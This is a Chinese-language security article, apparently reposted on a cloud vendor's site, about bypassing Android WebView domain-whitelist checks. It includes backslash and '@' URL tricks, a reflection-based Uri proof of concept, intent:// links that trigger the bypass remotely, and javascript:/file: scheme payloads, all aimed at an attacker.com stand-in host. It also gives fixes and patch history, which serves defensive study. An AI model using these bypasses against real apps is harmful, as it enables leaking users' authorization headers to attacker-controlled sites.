溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Android中怎么繞過域名白名單校驗

發布時間:2021-06-28 15:00:19 來源:億速云 閱讀:398 作者:Leah 欄目:網絡管理

這期內容當中小編將會給大家帶來有關Android中怎么繞過域名白名單校驗,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

一、 Url加入反斜杠"\"

1.1. 方法描述

先來看一種典型的域名校驗寫法:

/*  Uri 結構
*   [scheme:][//authority][path][?query][#fragment]
*/
[check_v1]
Uri uri = Uri.parse(attackerControlledString);
if ("legitimate.com".equals(uri.getHost()) || uri.getHost().endsWith(".legitimate.com")) {
   webView.loadUrl(attackerControlledString, getAuthorizationHeaders());
   // or webView.loadUrl(uri.toString())
}

然而...

String url = "http://attacker.com\\.legitimate.com/smth"; 
Log.d("getHost:", Uri.parse(url).getHost());         // 輸出 attacker.com\.legitimate.com !
if (Uri.parse(url).getHost().endsWith(".legitimate.com")) {
       webView.loadUrl(url, getAuthorizationHeaders());  // 成功加載 attacker.com!
}

可以看到 getHost() 和 loadUrl() 的表現不一致,if檢驗跳轉目標是legitimate.com,但執行時瀏覽器會把反斜線糾正為正斜線去訪問attacker.com。那么如果是用 equals() 來做完整的 host 檢驗該怎么辦呢?只需加一個‘@’就能隔斷非法前綴。

String url = "http://attacker.com\\@legitimate.com/smth";
Log.d("Wow", Uri.parse(url).getHost());          // 輸出 legitimate.com!
webView.loadUrl(url, getAuthorizationHeaders()); // 加載 attacker.com!

1.2. 分析原因

看來android.net.Uri的 parse() 是有安全缺陷的,我們扒拉一下代碼定位問題...

[frameworks/base/core/java/android/net/Uri.java]
public static Uri parse(String uriString) {
       return new StringUri(uriString);
}

繼續看這個內部類StringUri

[frameworks/base/core/java/android/net/Uri.java]
private static class StringUri extends AbstractHierarchicalUri {
       ...
       private StringUri(String uriString) {
           this.uriString = uriString;
       }
       ...
       private Part getAuthorityPart() {
           if (authority == null) {
               String encodedAuthority
                       = parseAuthority(this.uriString, findSchemeSeparator());
               return authority = Part.fromEncoded(encodedAuthority);
           }
           return authority;
       }
       ...
       static String parseAuthority(String uriString, int ssi) {
           int length = uriString.length();
           // If "//" follows the scheme separator, we have an authority.
           if (length > ssi + 2
                   && uriString.charAt(ssi + 1) == '/'
                   && uriString.charAt(ssi + 2) == '/') {
               // We have an authority.
               // Look for the start of the path, query, or fragment, or the
               // end of the string.
               int end = ssi + 3;
               LOOP: while (end < length) {
                   switch (uriString.charAt(end)) {
                       case '/': // Start of path
                       case '?': // Start of query
                       case '#': // Start of fragment
                           break LOOP;
                   }
                   end++;
               }
               return uriString.substring(ssi + 3, end);
           } else {
               return null;
           }
       }
}

這里就明顯看到StringUri沒有對authority部分做反斜杠的識別處理, 接著找StringUri的父類AbstractHierarchicalUri瞧瞧:

[frameworks/base/core/java/android/net/Uri.java]
private abstract static class AbstractHierarchicalUri extends Uri {
   private String parseUserInfo() {
       String authority = getEncodedAuthority();
       int end = authority.indexOf('@');
       return end == NOT_FOUND ? null : authority.substring(0, end);
   }
   ...
   private String parseHost() {
       String authority = getEncodedAuthority();
       // Parse out user info and then port.
       int userInfoSeparator = authority.indexOf('@');
       int portSeparator = authority.indexOf(':', userInfoSeparator);
       String encodedHost = portSeparator == NOT_FOUND
               ? authority.substring(userInfoSeparator + 1)
               : authority.substring(userInfoSeparator + 1, portSeparator);
       return decode(encodedHost);
   }
}

就在這里把@符號之前內容的作為 UserInfo 給切斷了,host 內容從@符號之后算起。(這里其實存在另一個 bug,沒有考慮多個@的情況)

1.3. 影響范圍

Google 在 2018年4月的 Android 安全公告里發布了這個漏洞CVE-2017-13274的補丁

通過AndroidXRef查詢,這個補丁在 Oreo - 8.1.0_r33 才加入到原生源碼中。所以安全補丁日期早于2018-04-01的系統都受影響,而 Google 一般通過協議要求 OEM 廠商保證產品上市之后兩年內按期打安全補丁。那么經過推算得出 Android 6及以下的系統都受影響。

PS:url含多個@的情況也在2018年1月的補丁中進行了修復CVE-2017-13176

二、反射調用HierarchicalUri構造Uri

2.1. 檢查UserInfo

上一節提到了@的截取的特性,會把惡意地址前綴attacker.com存入 UserInfo,那么現在改進校驗方法, 加上 UserInfo 的檢查是不是就萬無一失了呢?

[check_v2]
Uri uri = getIntent().getData();
boolean isOurDomain = "https".equals(uri.getScheme()) &&
                     uri.getUserInfo() == null &&
                     "legitimate.com".equals(uri.getHost());
if (isOurDomain) {
   webView.load(uri.toString(), getAuthorizationHeaders());
}

2.2. 挖掘思路

我們還是看android.net.Uri源碼,發現除了StringUri,還有一個內部類也 HierarchicalUri 也繼承了 AbstractHierarchicalUri

[frameworks/base/core/java/android/net/Uri.java]
private static class HierarchicalUri extends AbstractHierarchicalUri {

   private final String scheme; // can be null
   private final Part authority;
   private final PathPart path;
   private final Part query;
   private final Part fragment;

   private HierarchicalUri(String scheme, Part authority, PathPart path, Part query, Part fragment) {
       this.scheme = scheme;
       this.authority = Part.nonNull(authority);
       this.path = path == null ? PathPart.NULL : path;
       this.query = Part.nonNull(query);
       this.fragment = Part.nonNull(fragment);
   }

   ...
}

而AbstractHierarchicalUri又是繼承自Uri,所以很容易想到,通過反射調用HierarchicalUri這個私有構造函數,傳入構造好的 authority 和 path, 創建一個任意可控的Uri實例。繼續查看Part和PathPart類的構造方法:    

static class Part extends AbstractPart {
   private Part(String encoded, String decoded) {
       super(encoded, decoded);
   }
}
static class PathPart extends AbstractPart {
   private PathPart(String encoded, String decoded) {
       super(encoded, decoded);
   }
}

2.3. 構造PoC

由此構造 PoC 如下:

public void PoC() {
   private static final String TAG = "PoC";
   String attackerUri = "@attacker.com";
   String legitimateUri = "legitimate.com";

   try {
       Class partClass = Class.forName("android.net.Uri$Part");
       Constructor partConstructor = partClass.getDeclaredConstructors()[0];
       partConstructor.setAccessible(true);

       Class pathPartClass = Class.forName("android.net.Uri$PathPart");
       Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
       pathPartConstructor.setAccessible(true);

       Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
       Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
       hierarchicalUriConstructor.setAccessible(true);

       Object authority = partConstructor.newInstance(legitimateUri, legitimateUri);
       Object path = pathPartConstructor.newInstance(attackerUri, attackerUri);
       Uri uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);

       Log.d(TAG, "Scheme: " + uri.getScheme());
       Log.d(TAG, "UserInfo: " + uri.getUserInfo());
       Log.d(TAG, "Host: " + uri.getHost());
       Log.d(TAG, "toString(): " + uri.toString());

   } catch (Exception e) {
       throw new RuntimeException(e);
   }
   Intent intent = new Intent("android.intent.action.VIEW");
   intent.setClassName(Victim_packageName, Victim_className);
   intent.setData(uri);
   intent.addFlags(268435456);
   startActivity(intent);
}

logcat 輸出:

07-07 19:00:36.765 9209 9209 D PoC : Scheme: https
07-07 19:00:36.765 9209 9209 D PoC : UserInfo: null
07-07 19:00:36.765 9209 9209 D PoC : Host: legitimate.com
07-07 19:00:36.765 9209 9209 D PoC : toString(): https://legitimate.com@attacker.com

從輸出日志可以看到,通過此反射方法構造的 Uri 對象,可以通過 check_v2 方法對 Scheme、 UserInfoHost 的三項檢驗,但 toString() 方法的值https://legitimate.com@attacker.com,才是被攻擊的 Activity 拉起的實際地址。如前所述,@符號之后的    attacker.com 便成為了最終訪問的 host。

2.4. 限制與繞過

Android P 之后 Google 對 non-sdk 的 @hide API 進行了限制。Android Studio 也會給出如下提示,并且讓這種反射調用在運行時報錯失敗。

Accessing internal APIs via reflection is not supported and may not work on all devices or in the future less... (Ctrl+F1) Inspection info:Using reflection to access hidden/private Android APIs is not safe; it will often not work on devices from other        vendors, and it may suddenly stop working (if the API is removed) or crash spectacularly (if the API behavior changes, since there are no guarantees for compatibility). Issue id: PrivateApi

截止到目前——Android Q Beta 4,還是有繞過的方法, 關于繞過原理的梳理不在本文議題范圍。

2.5. 修復方法

抵御這種攻擊的方法也非常簡單,對傳入的 Uri 對象加一次 parse() 再做 check_v2 即可。事實上,有大量的開發者因為不了解這個性質,認為傳入的 url 已經是”正?!巴ㄟ^ Uri.parse() 構造的,直接信任放行。

三、遠程利用方法1

我們知道,通過在組件中注冊 intent-filter,App 可以響應瀏覽器應用或短信應用訪問的外鏈。典型的一個配置寫法如下,只有 <data> 標簽中指定的內容和 Intent 中攜帶的 Data 完全一致時,當前活動才能響應該 Intent。

<activity android:name=".DeeplinkActivity">
   <intent-filter android:autoVerify="true">
       <action android:name="android.intent.action.VIEW"/>
       <category android:name="android.intent.category.DEFAULT"/>
       <category android:name="android.intent.category.BROWSABLE"/>
       <data android:scheme="https" android:host="legitimate.com"/>
   </intent-filter>
</activity>

前面兩種方法我們都是用安裝惡意 App 或 ADB 命令來觸發攻擊,注意到 Android 對 <data> 定義的屬性,也是通過 parsedIntent.getData().getHost() 來進行匹配的,我們很自然的想到嘗試遠程利用。

<!--
<a href="[scheme]://[host]/[path]?[query]">調用格式</a>
-->
<a href="https://attacker.com\\@legitimate.com/">Click Attack v1</a>
<a href="https://attacker.com%5C%5C@legitimate.com/">Click Attack v2</a>

然而,對于第一個鏈接,瀏覽器會自動把反斜杠 "\" 糾正為正斜杠 "/"對于第二個鏈接,反斜杠 "\" 會以 URL 編碼形式保留而無法觸發方法1

通過仔細研究intent://scheme的工作機制,發現可以通過如下方式保留反斜杠 "\" 的方法:

PoC:

<a href="intent://not_used/#Intent;scheme=https://attacker.com\\@legitimate.com/;end">Click Attack v3</a>

跟蹤源碼,可以看到,訪問這個鏈接,等價于執行:

Uri.parse("https://attacker.com\\\\@legitimate.com/://not_used/")

從而實現方法1的遠程執行版本。

四、缺少scheme驗證

實戰不乏有些 App 對 host 做了校驗,但卻遺漏了對 scheme 的檢查。

可以用下面的 uri, 嘗試進行 js 和 file 域的 PoC:

javascript://legitimate.com/%0aalert(1)//

file://legitimate.com/sdcard/payload.html

上述就是小編為大家分享的Android中怎么繞過域名白名單校驗了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女